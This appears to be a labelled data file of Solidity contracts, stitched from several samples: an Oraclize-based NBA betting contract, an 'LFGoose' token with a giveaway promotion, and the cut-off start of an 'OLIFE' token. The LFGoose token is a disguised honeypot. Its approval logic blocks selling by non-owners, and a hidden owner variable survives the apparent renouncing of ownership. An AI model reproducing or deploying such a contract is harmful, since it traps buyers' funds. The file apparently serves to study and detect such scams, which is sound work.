} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1; //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
// Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
// Buffer too small
throw; // Should be a better way?
}
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
// </ORACLIZE_API>
contract CavsvsPacers425 is usingOraclize {
/* Declaration */
address public OWNERS = 0xC3eD2d481B9d75835EC04174b019A7eAF2Faf78A;
uint public constant COMMISSION = 0; // Commission for the owner
uint public constant MIN_BET = 0.01 ether;
uint public EXPECTED_START = 1524697200; // When the bet's event is expected to start
uint public EXPECTED_END = 1524708000; // When the bet's event is expected to end
uint public constant BETTING_OPENS = 1524638202;
uint public BETTING_CLOSES = EXPECTED_START - 60; // Betting closes a minute before the bet event starts
uint public constant PING_ORACLE_INTERVAL = 60 * 60 * 24; // Ping oracle every 24 hours until completion (or cancelation)
uint public ORACLIZE_GAS = 200000;
uint public CANCELATION_DATE = EXPECTED_END + 60 * 60 * 24; // Cancelation date is 24 hours after the expected end
uint public RETURN_DATE = EXPECTED_END + 60 * 60 * 24 * 30; // Any leftover money is returned to owners 1 month after bet ends
bool public completed;
bool public canceled;
bool public ownersPayed;
uint public ownerPayout;
bool public returnedToOwners;
uint public winnerDeterminedDate;
uint public numCollected = 0;
bytes32 public nextScheduledQuery;
uint public oraclizeFees;
uint public collectionFees;
struct Better {
uint betAmount;
uint betOption;
bool withdrawn;
}
mapping(address => Better) betterInfo;
address[] public betters;
uint[2] public totalAmountsBet;
uint[2] public numberOfBets;
uint public totalBetAmount;
uint public winningOption = 2;
/* Events */
event BetMade();
/* Modifiers */
// Modifier to only allow the
// determination of the winner
modifier canDetermineWinner() {
require (winningOption == 2 && !completed && !canceled && now > BETTING_CLOSES && now >= EXPECTED_END);
_;
}
// Modifier to only allow emptying
// the remaining value of the contract
// to owners.
modifier canEmptyRemainings() {
require(canceled || completed);
uint numRequiredToCollect = canceled ? (numberOfBets[0] + numberOfBets[1]) : numberOfBets[winningOption];
require ((now >= RETURN_DATE && !canceled) || (numCollected == numRequiredToCollect));
_;
}
// Modifier to only allow the collection
// of bet payouts when winner is determined,
// (or withdrawals if the bet is canceled)
modifier collectionsEnabled() {
require (canceled || (winningOption != 2 && completed && now > BETTING_CLOSES));
_;
}
// Modifier to only allow the execution of
// owner payout when winner is determined
modifier canPayOwners() {
require (!canceled && winningOption != 2 && completed && !ownersPayed && now > BETTING_CLOSES);
_;
}
// Modifier to only allow the execution of
// certain functions when betting is closed
modifier bettingIsClosed() {
require (now >= BETTING_CLOSES);
_;
}
// Modifier to only allow the execution of
// certain functions restricted to the owners
modifier onlyOwnerLevel() {
require(
OWNERS == msg.sender
);
_;
}
/* Functions */
// Constructor
function CavsvsPacers425() public payable {
oraclize_setCustomGasPrice(1000000000);
callOracle(EXPECTED_END, ORACLIZE_GAS); // Kickoff Oracle checking for outcome
}
function changeGasLimitAndPrice(uint gas, uint price) public onlyOwnerLevel {
ORACLIZE_GAS = gas;
oraclize_setCustomGasPrice(price);
}
// Change bet expected times
function setExpectedTimes(uint _EXPECTED_START, uint _EXPECTED_END) public onlyOwnerLevel {
setExpectedStart(_EXPECTED_START);
setExpectedEnd(_EXPECTED_END);
}
// Change bet expected start time
function setExpectedStart(uint _EXPECTED_START) public onlyOwnerLevel {
EXPECTED_START = _EXPECTED_START;
BETTING_CLOSES = EXPECTED_START - 60;
}
// Change bet expected end time
function setExpectedEnd(uint _EXPECTED_END) payable public onlyOwnerLevel {
require(_EXPECTED_END > EXPECTED_START);
EXPECTED_END = _EXPECTED_END;
CANCELATION_DATE = EXPECTED_END + 60 * 60 * 24;
RETURN_DATE = EXPECTED_END + 60 * 60 * 24 * 30;
callOracle(EXPECTED_END, ORACLIZE_GAS); // Kickoff Oracle checking for winner
}
function callOracle(uint timeOrDelay, uint gas) private {
require(canceled != true && completed != true);
// Make a call to the oracle —
// usually a script hosted on IPFS that
// Oraclize deploys, after a given delay. We
// leave nested query as default to maximize
// optionality for queries.
// To readers of the code (aka prospective betters)
// if this is a computation query, you can view the
// script we use to compute the winner, as it is hosted
// on IPFS. The first argument in the computation query
// is the IPFS hash (script would be located at
// ipfs.io/ipfs/<HASH>). The file hosted at this hash
// is actually a zipped folder that contains a Dockerfile and
// the script. So, if you download the file at the hash provided,
// ensure to convert it to a .zip, unzip it, and read the code.
// Oraclize uses the Dockerfile to deploy this script.
// Look over the Oraclize documentation to verify this
// for yourself.
nextScheduledQuery = makeOraclizeQuery(timeOrDelay, "nested", "[computation] ['Qmc6RsNaPktRju55QhDqmu9VtvGxPnREoDNyk616MATk2F', '02c29434-714b-41dd-9bba-412a9fbec3ef', '${[decrypt] BDKlVa7Kmb3ZBsMxxbGQK+pv5IwGSN248VlQLaj0SUuyvJweNHRyTefl2mw40qHVOkZzCpXyroeuKrjk5l00WrZ6yaEYsvaAIbjKZinK1vcOAfYxMyMU1GvK5DevkwtP5RXbMAgA/+pU}']", gas);
}
function makeOraclizeQuery(uint timeOrDelay, string datasource, string query, uint gas) private returns(bytes32) {
oraclizeFees += oraclize_getPrice(datasource, gas);
return oraclize_query(timeOrDelay, datasource, query, gas);
}
// Determine the outcome manually,
// immediately
function determineWinner(uint gas, uint gasPrice) payable public onlyOwnerLevel canDetermineWinner {
ORACLIZE_GAS = gas;
oraclize_setCustomGasPrice(gasPrice);
callOracle(0, ORACLIZE_GAS);
}
// Callback from Oraclize
function __callback(bytes32 queryId, string result, bytes proof) public canDetermineWinner {
require(msg.sender == oraclize_cbAddress());
// The Oracle must always return
// an integer (either 0 or 1, or if not then)
// it should be 2
if (keccak256(result) != keccak256("0") && keccak256(result) != keccak256("1")) {
// Reschedule winner determination,
// unless we're past the point of
// cancelation. If nextScheduledQuery is
// not the current query, it means that
// there's a scheduled future query, so
// we can wait for that instead of scheduling
// another one now (otherwise this would cause
// dupe queries).
if (now >= CANCELATION_DATE) {
cancel();
}
else if (nextScheduledQuery == queryId) {
callOracle(PING_ORACLE_INTERVAL, ORACLIZE_GAS);
}
}
else {
setWinner(parseInt(result));
}
}
function setWinner(uint winner) private {
completed = true;
canceled = false;
winningOption = winner;
winnerDeterminedDate = now;
payOwners();
}
// Returns the total amounts betted
// for the sender
function getUserBet(address addr) public constant returns(uint[]) {
uint[] memory bets = new uint[](2);
bets[betterInfo[addr].betOption] = betterInfo[addr].betAmount;
return bets;
}
// Returns whether a user has withdrawn
// money or not.
function userHasWithdrawn(address addr) public constant returns(bool) {
return betterInfo[addr].withdrawn;
}
// Returns whether winning collections are
// now available, or not.
function collectionsAvailable() public constant returns(bool) {
return (completed && winningOption != 2 && now >= (winnerDeterminedDate + 600)); // At least 10 mins has to pass between determining winner and enabling payout, so that we have time to revert the bet in case we detect suspicious betting activty (eg. a hacker bets a lot to steal the entire losing pot, and hacks the oracle)
}
// Returns true if we can bet (in betting window)
function canBet() public constant returns(bool) {
return (now >= BETTING_OPENS && now < BETTING_CLOSES && !canceled && !completed);
}
// Function for user to bet on launch
// outcome
function bet(uint option) public payable {
require(canBet() == true);
require(msg.value >= MIN_BET);
require(betterInfo[msg.sender].betAmount == 0 || betterInfo[msg.sender].betOption == option);
// Add better to better list if they
// aren't already in it
if (betterInfo[msg.sender].betAmount == 0) {
betterInfo[msg.sender].betOption = option;
numberOfBets[option]++;
betters.push(msg.sender);
}
// Perform bet
betterInfo[msg.sender].betAmount += msg.value;
totalBetAmount += msg.value;
totalAmountsBet[option] += msg.value;
BetMade(); // Trigger event
}
// Empty remainder of the value in the
// contract to the owners.
function emptyRemainingsToOwners() private canEmptyRemainings {
OWNERS.transfer(this.balance);
returnedToOwners = true;
}
function returnToOwners() public onlyOwnerLevel canEmptyRemainings {
emptyRemainingsToOwners();
}
// Performs payout to owners
function payOwners() private canPayOwners {
if (COMMISSION == 0) {
ownersPayed = true;
ownerPayout = 0;
if (numberOfBets[winningOption] > 0) {
collectionFees = ((oraclizeFees != 0) ? (oraclizeFees / numberOfBets[winningOption] + 1) : 0); // We add 1 wei to act as a ceil for the integer div -- important because the contract cannot afford to lose that spare change, as it will gaurantee that the final payout collection will fail.
}
return;
}
// Calculate total pool of ETH
// betted for the two outcomes.
uint losingChunk = totalAmountsBet[1 - winningOption];
ownerPayout = (losingChunk - oraclizeFees) / COMMISSION; // Payout to the owner; commission of losing pot, minus the same % of the fees
if (numberOfBets[winningOption] > 0) {
collectionFees = ((oraclizeFees != 0) ? ((oraclizeFees - oraclizeFees / COMMISSION) / numberOfBets[winningOption] + 1) : 0); // The fees to be distributed to the collectors, after owner payout. See reasoning above for adding the 1 wei.
}
// Equal weight payout to the owners
OWNERS.transfer(ownerPayout);
ownersPayed = true;
}
function cancelBet() payable public onlyOwnerLevel {
cancel();
}
// Cancel bet and relase all the bets back to
// the betters if, for any reason, payouts cannot be
// completed. (For example Oracle fails.) Triggered by owners.
function cancel() private {
canceled = true;
completed = false;
}
// Fallback function in case someone sends
// ether to the contract so it doesn't get
// lost. Could be used by us owners as buffer
// value in case payouts fail.
function() payable public {
}
// Function that lets betters collect their
// money, either if the bet was canceled,
// or if they won.
function collect() public collectionsEnabled {
address better = msg.sender;
require(betterInfo[better].betAmount > 0);
require(!betterInfo[better].withdrawn);
require(canceled != completed);
require(canceled || (completed && betterInfo[better].betOption == winningOption));
require(now >= (winnerDeterminedDate + 600));
uint payout = 0;
if (!canceled) {
// On top of their original bet,
// add in profit, which is a weighted
// proportion of the losing pot, relative
// to their contribution to the winning pot,
// minus owner commission.
uint losingChunk = totalAmountsBet[1 - winningOption];
payout = betterInfo[better].betAmount + (betterInfo[better].betAmount * (losingChunk - ownerPayout) / totalAmountsBet[winningOption]) - collectionFees;
}
else {
payout = betterInfo[better].betAmount;
}
if (payout > 0) {
better.transfer(payout);
betterInfo[better].withdrawn = true;
numCollected++;
}
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
/**
https://linktr.ee/LFGoose
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Tobedetermined is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'to be determined' ;
string private _symbol = 'tba';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
/*
Only for holders !
Enter the channel at the bottom to have a chance to win 100$ every 100 holders
All you have to do is to make a tweet about @LFGoose, using #LFGoose , tag 3 BIG influencers and 2 of your CRYPTO friend
Hold at least 10$ of LFGoose
Follow the twitter account :https://t.me/LetsFuckingGoosePortal
Like the pinned messages
Subscribe to the instagam account : https://www.instagram.com/lfgoose/
Here a list of crypto influencers
https://twitter.com/1goonrich
https://twitter.com/Yourpop8
https://twitter.com/CometCalls
https://twitter.com/Miraz_Aslan
https://twitter.com/K_PoBlah
https://twitter.com/OniiEth
https://twitter.com/CryptoGemApe
https://twitter.com/dippy_eth
https://twitter.com/Kali_Eth
https://twitter.com/EthJasper
https://twitter.com/SatoshiRipper
https://twitter.com/ChinaPumpWXC
https://twitter.com/EthLucius
https://twitter.com/ATHena_DeFi
https://twitter.com/cryptocarti
https://twitter.com/frombroke2bags
https://twitter.com/hulkordie
https://twitter.com/CryptoGraphBSC
https://twitter.com/CryptoGorgonite
https://twitter.com/lebron_gains
https://twitter.com/KenKingCastle1
https://twitter.com/FlameCryptos
https://twitter.com/thecoingirl
https://twitter.com/CryptoTigerKing
https://twitter.com/CryptoBear21
https://twitter.com/LilTGems
https://twitter.com/Cryptic_Maestro
https://twitter.com/OfficialTravlad
https://twitter.com/ZachBoychuk
https://twitter.com/SharksCoins
https://twitter.com/TheCryptoFrog_
https://twitter.com/Ralvero
https://twitter.com/CRYPTOCHARlZARD
https://twitter.com/ZeroWaiting
https://twitter.com/LaCryptoMonkey
https://twitter.com/crypto_bitlord7
https://twitter.com/JapaneseCrypto
https://twitter.com/AltCryptoGems
https://twitter.com/elonmusk
https://twitter.com/TheCryptoGemini
This is running for every 100 holders, winners will be pick randomly
Every 100 holders, we ll add 50$ to the prize, it's ll be caped at 650$ at 10k holders,then we will increase the numbers of winners to 15 per 100 holders
Join channel, link us your tweet
We ll only send prize if the wallet you give us for paiement hold 10 $ of LFGoose
Do not forget anystep to be eligible
The channel to enter is : https://t.me/LFGoose_giveway
#LFGoose
*/
|
True
|
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pragma solidity ^0.4.23;
// ----------------------------------------------------------------------------
// 'OLIFE' token contract
//
// Deployed to : 0x6B9c68598159e0547775E838fD4548E665d2E895
// Symbol : OLIFE
// Name : Olife
// Total supply: 1000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
